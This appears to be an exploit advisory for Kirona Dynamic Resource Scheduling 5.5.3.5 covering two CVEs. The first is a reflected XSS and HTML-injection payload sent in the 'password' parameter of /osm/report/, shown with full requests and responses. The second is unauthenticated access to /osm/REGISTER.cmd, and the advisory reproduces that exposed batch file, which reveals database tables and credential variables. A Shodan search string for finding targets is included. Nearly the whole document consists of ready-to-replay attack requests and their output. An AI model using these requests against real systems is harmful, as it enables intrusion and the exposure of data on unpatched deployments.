329 lines
No EOL
13 KiB
Text
329 lines
No EOL
13 KiB
Text
# Exploit Title: Kirona-DRS 5.5.3.5 - Information Disclosure
|
|
# Discovered Date: 2019-10-03
|
|
# Shodan Search: /opt-portal/pages/login.xhtml
|
|
# Exploit Author: Ramikan
|
|
# Vendor Homepage: https://www.kirona.com/products/dynamic-resource-scheduler/
|
|
# Affected Version: DRS 5.5.3.5 may be other versions.
|
|
# Tested On Version: DRS 5.5.3.5 on PHP/5.6.14
|
|
# Vendor Fix: Unknown
|
|
# CVE: CVE-2019-17503,CVE-2019-17504
|
|
# Category: Web Apps
|
|
# Reference : https://github.com/Ramikan/Vulnerabilities/blob/master/Kirona-DRS 5.5.3.5 Multiple Vulnerabilities
|
|
|
|
# Description:
|
|
# The application is vulnerable to the HTML injection, reflected cross site scripting and sensitive data disclosure.
|
|
|
|
# Vulnerabiity 1:HTML injection and (CVE-2019-17504)
|
|
# An issue was discovered in Kirona Dynamic Resource Scheduling (DRS) 5.5.3.5. A reflected Cross-site scripting (XSS)
|
|
# vulnerability allows remote attackers to inject arbitrary web script via the /osm/report/ 'password' parameter.
|
|
|
|
Affected URL: /osm/report/
|
|
|
|
Affected Parameter: password
|
|
|
|
|
|
POST Request:
|
|
|
|
POST /osm/report/ HTTP/1.1
|
|
Host: 10.50.3.148
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-GB,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 147
|
|
Connection: close
|
|
Referer: https://10.50.3.148/osm/report/
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
create=true&password=&login=admin&password='<" ><<h1>HTML Injection-heading tag used</h1><script>alert("This is Cross Site Scripting")</script><!--
|
|
|
|
|
|
Response:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Thu, 03 Oct 2019 14:56:05 GMT
|
|
Server: Apache
|
|
X-Powered-By: PHP/5.6.14
|
|
Access-Control-Allow-Origin: *
|
|
Access-Control-Allow-Headers: X-Requested-WithXDomainRequestAllowed: 1
|
|
Expires: Mon, 26 Jul 1997 05:00:00 GMT
|
|
Last-Modified: Thu, 03 Oct 2019 14:56:05 GMT
|
|
Cache-Control: no-cache, must-revalidate
|
|
Pragma: no-cache
|
|
Content-Length: 728
|
|
Connection: close
|
|
Content-Type: text/html;charset=UTF-8
|
|
|
|
<html>
|
|
<head>
|
|
<img src='logo.jpg'>
|
|
<form method='POST'>
|
|
<input type='hidden' name='create' value='true'/>
|
|
<input type='hidden' name='password' value=''<" ><<h1>HTML Injection-heading tag used</h1><script>alert("This is Cross Site Scripting")</script><!--'/>
|
|
<table>
|
|
<tr><td>Login:</td><td><input type='login' name='login'/></td></tr>
|
|
<tr><td>Password:</td><td><input type='password' name='password'/></td></tr>
|
|
<tr><td colspan='2'><input type='submit' value='Login'/> </td></tr>
|
|
</table>
|
|
</form>
|
|
</head>
|
|
</html>
|
|
|
|
|
|
GET Request:
|
|
|
|
GET https://10.0.1.110/osm/report/?password=%27%3C%22%20%3E%3C%3Ch1%3EHTML%20Injection-heading%20tag%20used%3C/h1%3E%3Cscript%3Ealert(%22This%20is%20Cross%20Site%20Scripting%22)%3C/script%3E%3C!-- HTTP/1.1
|
|
Host: vs-kdrs-l-01.selwoodhousing.local
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-GB,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
|
|
Response:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Thu, 03 Oct 2019 14:53:35 GMT
|
|
Server: Apache
|
|
X-Powered-By: PHP/5.6.14
|
|
Access-Control-Allow-Origin: *
|
|
Access-Control-Allow-Headers: X-Requested-With
|
|
XDomainRequestAllowed: 1
|
|
Expires: Mon, 26 Jul 1997 05:00:00 GMT
|
|
Last-Modified: Thu, 03 Oct 2019 14:53:35 GMT
|
|
Cache-Control: no-cache, must-revalidate
|
|
Pragma: no-cache
|
|
Content-Length: 728
|
|
Connection: close
|
|
Content-Type: text/html;charset=UTF-8
|
|
|
|
<html>
|
|
<head>
|
|
<img src='logo.jpg'>
|
|
<form method='POST'>
|
|
<input type='hidden' name='create' value='true'/>
|
|
<input type='hidden' name='password' value=''<" ><<h1>HTML Injection-heading tag used</h1><script>alert("This is Cross Site Scripting")</script><!--'/>
|
|
<table>
|
|
<tr><td>Login:</td><td><input type='login' name='login'/></td></tr>
|
|
<tr><td>Password:</td><td><input type='password' name='password'/></td></tr>
|
|
<tr><td colspan='2'><input type='submit' value='Login'/> </td></tr>
|
|
</table>
|
|
</form>
|
|
</head>
|
|
</html>
|
|
|
|
|
|
***************************************************************************************************************************
|
|
Vulnerability 2: Source code and sensitive data disclosure. (CVE-2019-17503)
|
|
***************************************************************************************************************************
|
|
|
|
An issue was discovered in Kirona Dynamic Resource Scheduling (DRS) 5.5.3.5. An unauthenticated user can access /osm/REGISTER.cmd (aka /osm_tiles/REGISTER.cmd) directly: it contains sensitive information about the database through the SQL queries within this batch file. This file exposes SQL database information such as database version, table name, column name, etc.
|
|
|
|
Affected URL: /osm/REGISTER.cmd or /osm_tiles/REGISTER.cmd
|
|
|
|
# Request:
|
|
|
|
GET /osm/REGISTER.cmd HTTP/1.1
|
|
Host: 10.0.0.148
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-GB,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
|
|
Response:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Thu, 03 Oct 2019 09:23:54 GMT
|
|
Server: Apache
|
|
Last-Modified: Tue, 07 Nov 2017 09:27:52 GMT
|
|
ETag: "1fc4-55d612f6cae13"
|
|
Accept-Ranges: bytes
|
|
Content-Length: 8132
|
|
Connection: close
|
|
|
|
@echo off
|
|
|
|
set DEBUGMAPSCRIPT=TRUE
|
|
|
|
rem
|
|
rem Find root path and batch name
|
|
rem root path is found relative to the current batch name
|
|
rem
|
|
|
|
rem turn to short filename (remove white spaces)
|
|
for %%i in (%0) do (
|
|
set SHORT_MAPSCRIPTBATCH_FILE=%%~fsi
|
|
set MAPSCRIPTBATCH_FILE=%%~i
|
|
|
|
)
|
|
for %%i in (%SHORT_MAPSCRIPTBATCH_FILE%) do (
|
|
set MAPSCRIPTROOTDIR=%%~di%%~pi..\..\..
|
|
)
|
|
|
|
if "%DEBUGMAPSCRIPT%"=="TRUE" echo MAPSCRIPTROOTDIR=%MAPSCRIPTROOTDIR%
|
|
if "%DEBUGMAPSCRIPT%"=="TRUE" echo MAPSCRIPTBATCH_FILE=%MAPSCRIPTBATCH_FILE%
|
|
|
|
rem
|
|
rem find if we are in INTERRACTIVE mode or not and check the parameters
|
|
rem
|
|
if "%1"=="" goto INTERACTIVE
|
|
goto NONINTERRACTIVE
|
|
|
|
|
|
:NONINTERRACTIVE
|
|
rem non interractive call so catch the parameters from command line
|
|
rem this is supposed to be called from the root DRS directory
|
|
|
|
if "%2"=="" (
|
|
echo Invalid parameter 2
|
|
pause
|
|
goto :EOF
|
|
)
|
|
|
|
set ACCOUNT=%2
|
|
set STATIC=NO
|
|
if "%1"=="STATIC" set STATIC=YES
|
|
|
|
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Command line mode %STATIC% %ACCOUNT%
|
|
|
|
if "%1"=="STATIC" goto GLOBAL
|
|
if "%1"=="DYNAMIC" goto GLOBAL
|
|
echo Invalid parameter 1
|
|
pause
|
|
goto :EOF
|
|
|
|
:INTERACTIVE
|
|
rem Interractive mode : ask for account and static mode
|
|
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Interractive mode
|
|
echo Open Street Map setup for Xmbrace DRS
|
|
set /P ACCOUNT=Account name:
|
|
set /P STATIC=Limited map feature (YES/NO):
|
|
|
|
|
|
rem back to the setup directory
|
|
cd %MAPSCRIPTROOTDIR%
|
|
|
|
rem # READ AND DEFINE SETTINGS
|
|
for /F "tokens=1,* delims==" %%k in (conf\default.txt) do (
|
|
if not "%%k"=="#=" set %%k=%%l
|
|
)
|
|
if exist CUSTOM\CONF\custom.txt (
|
|
for /F "tokens=1,* delims==" %%k in (CUSTOM\CONF\custom.txt) do (
|
|
if not "%%k"=="#=" set %%k=%%l
|
|
)
|
|
)
|
|
for /F "tokens=1,* delims==" %%k in (conf\settings.txt) do (
|
|
if not "%%k"=="#=" set %%k=%%l
|
|
)
|
|
|
|
if "%APACHE_USE_SSL%"=="TRUE" (
|
|
set DEFAULT_HTTP_PROTOCOL=https
|
|
set APACHE_USE_SSL_VALUE=true
|
|
set DEFAULT_HTTP_PORT=%APACHE_HTTPS_PORT%
|
|
) else (
|
|
set DEFAULT_HTTP_PROTOCOL=http
|
|
set APACHE_USE_SSL_VALUE=false
|
|
set DEFAULT_HTTP_PORT=%APACHE_HTTP_PORT%
|
|
)
|
|
|
|
goto GLOBAL
|
|
|
|
|
|
|
|
rem
|
|
rem good to go in a non interractive mode
|
|
rem the following is the generic par of the install, whatever we are in static or dynamic mode
|
|
rem
|
|
:GLOBAL
|
|
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Global section
|
|
|
|
set MYSQL="MYSQL\MySQL Server 5.6 MariaDB\bin\mysql.exe"
|
|
|
|
echo delete from %ACCOUNT%.asp_custom_action where CA_CAPTION in ('Show on map','Closest')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
echo delete from %ACCOUNT%.asp_custom_tab where NAME='Map'> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
set INSERTFIELDS=%ACCOUNT%.asp_custom_action (CA_CAPTION,CA_VIEW,CA_MODE,CA_LIST_MODE,CA_HEIGHT,CA_WIDTH,CA_RESIZABLE,CA_NEED_REFRESH,CA_PROFILES,CA_URL,CA_CUSTOM_TAB,CA_TRIGGER_MODE)
|
|
|
|
if "%STATIC%"=="YES" goto :STATIC
|
|
goto :DYNAMIC
|
|
|
|
|
|
|
|
:STATIC
|
|
|
|
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Static section
|
|
|
|
echo map=static > ACCOUNTS\%ACCOUNT%\config.txt
|
|
|
|
echo ^<?php $staticMap=true; ?^>>APACHE\htdocs\osm\mode.php
|
|
|
|
echo insert into %INSERTFIELDS% values ('Journey on map','workerList','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=journey','','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
echo insert into %INSERTFIELDS% values ('Journey on map','workerView','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=journey','','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
if exist req.sql del req.sql
|
|
goto FINAL
|
|
|
|
|
|
:DYNAMIC
|
|
|
|
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Dynamic section
|
|
|
|
echo map=dynamic > ACCOUNTS\%ACCOUNT%\config.txt
|
|
|
|
echo ^<?php $staticMap=false; ?^>>APACHE\htdocs\osm\mode.php
|
|
|
|
echo insert into %INSERTFIELDS% values ('Show on map','jobList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
echo insert into %INSERTFIELDS% values ('Show on map','jobView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
echo insert into %INSERTFIELDS% values ('Closest','jobList','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=closest','','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
echo insert into %INSERTFIELDS% values ('Closest','jobView','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=closest','','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
echo insert into %INSERTFIELDS% values ('Show on map','workerList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
echo insert into %INSERTFIELDS% values ('Show on map','workerView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
echo insert into %INSERTFIELDS% values ('Journey on map','workerList','modal','mandatory',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=journey','','button')> req.sql
|
|
rem %MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
echo insert into %INSERTFIELDS% values ('Show on map','customerList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
echo insert into %INSERTFIELDS% values ('Show on map','customerView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
echo insert into %INSERTFIELDS% values ('Show on map','serviceOrderList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
echo insert into %INSERTFIELDS% values ('Show on map','serviceOrderView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
echo insert into %INSERTFIELDS% values ('Show on map','planning','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
|
|
set INSERTFIELDS=%ACCOUNT%.asp_custom_tab (NAME,POSITION,ADMIN,URL,WIDTH,HEIGHT)
|
|
|
|
echo insert into %INSERTFIELDS% values ('Map',0,'false','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%','100%%','100%%')> req.sql
|
|
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
|
|
|
|
if exist req.sql del req.sql
|
|
goto FINAL
|
|
|
|
|
|
:FINAL
|
|
echo Map registred for %ACCOUNT%
|
|
if "%1"=="" pause
|
|
goto :EOF |